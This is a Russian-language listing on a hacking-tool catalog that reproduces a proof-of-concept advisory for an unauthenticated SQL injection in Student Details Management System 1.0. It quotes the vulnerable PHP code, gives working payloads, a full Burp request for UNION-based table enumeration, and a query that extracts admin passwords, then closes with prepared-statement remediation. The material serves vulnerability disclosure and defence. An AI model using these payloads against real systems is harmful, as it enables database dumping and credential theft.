Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-10110-SQLi — Доказательство концепции неаутентифицированной SQL-инъекции в Student Details Management System 1.0, демонстрирующее извлечение данных на основе UNION и кражу учётных данных. | Kitploit
Инструменты/GitHubGitHub/xmyronn/cve-2026-10110-sqli
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

Доказательство концепции неаутентифицированной SQL-инъекции в Student Details Management System 1.0, демонстрирующее извлечение данных на основе UNION и кражу учётных данных.

Репозиторий
84 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Student Details Management System 1.0 — SQL-инъекция (без аутентификации)

Информация об уязвимости

ПолеДетали
ПродуктStudent Details Management System
Вендорcode-projects.org
Версия1.0
Тип уязвимостиSQL-инъекция (CWE-89)
CVE IDОжидается
Оценка CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Требуется аутентификацияНет
Затронутый файл/SMS/index.php
Уязвимый параметрroll (POST)

Описание

Критическая уязвимость SQL-инъекции существует в файле index.php системы Student Details Management System 1.0. Параметр roll, передаваемый через POST-запрос, напрямую конкатенируется в необработанный SQL-запрос без санитизации, проверки входных данных или использования подготовленных выражений. Это позволяет неаутентифицированному удалённому злоумышленнику внедрять произвольный SQL и выполнять извлечение данных на основе UNION, выгружая всю базу данных сервера, включая таблицы с учётными данными.

Уязвимость существует в публичной форме поиска студентов и не требует аутентификации.


Уязвимый код

Файл: index.php (строки 51–59)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

Обе переменные $Standard и $RollNo берутся напрямую из $_POST без экранирования или параметризации. Злоумышленник управляет параметром roll, чтобы выйти из контекста SQL-строки и внедрить произвольные запросы.


Доказательство концепции

Шаг 1 — Подтверждение нормального поведения

Перейдите на главную страницу приложения и введите действительный номер зачётной книжки:

root@kitploit:~
http://<TARGET>/SMS/index.php

Введите 1001 в поле номера зачётной книжки → приложение нормально возвращает записи студентов.

Screenshot 2026-05-03 220510

Шаг 2 — Вызов SQL-ошибки (подтверждение точки инъекции)

Введите одинарную кавычку ' в поле номера зачётной книжки и нажмите SHOW INFO.

Результат: MariaDB выдаёт фатальную ошибку, раскрывающую необработанный SQL-запрос и путь к файлу:

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

Шаг 3 — Обход аутентификации / полный дамп таблицы

Полезная нагрузка:

root@kitploit:~
' or 1=1 -- -

Результат: Все записи студентов в базе данных возвращаются без какого-либо действительного номера зачётной книжки, что подтверждает эксплуатируемость инъекции.

Screenshot 2026-05-03 220550

Шаг 4 — Извлечение на основе UNION (полное перечисление базы данных)

Запрос Burp Suite:

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

Результат: Столбец name (позиция 3 в UNION) отражает обратно имена всех таблиц во всех базах данных на экземпляре MySQL — включая admin, global_priv, users, mysql.user и таблицы с учётными данными из нескольких других приложений, установленных на том же экземпляре XAMPP.

Screenshot 2026-05-03 220606

Шаг 5 — Путь повышения привилегий

Дамп раскрывает чувствительные таблицы, включая admin, users, global_priv и tbl_admin из других баз данных на том же сервере. Злоумышленник может извлечь учётные данные с помощью:

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

В сочетании с подробным выводом ошибок (Шаг 2) также подтверждается полное раскрытие пути к файлу:

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

Воздействие

  • Полное перечисление базы данных во всех базах данных на сервере (не только в целевом приложении)
  • Извлечение учётных данных администратора через дамп таблицы admin
  • Полное раскрытие пути через подробный вывод SQL-ошибок
  • Аутентификация не требуется — уязвимость эксплуатируется любым неаутентифицированным посетителем страницы поиска
  • Потенциальное повышение привилегий до других приложений, использующих тот же экземпляр MySQL

Устранение

Используйте подготовленные выражения со связанными параметрами:

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

Дополнительно отключите подробный вывод ошибок PHP/MySQL в производственной среде, установив display_errors = Off в php.ini.


Ссылки

  • Домашняя страница вендора
  • CWE-89: SQL-инъекция
  • OWASP SQL-инъекция

Обнаружитель

Исследователь: Imad Alvi

Скачать инструмент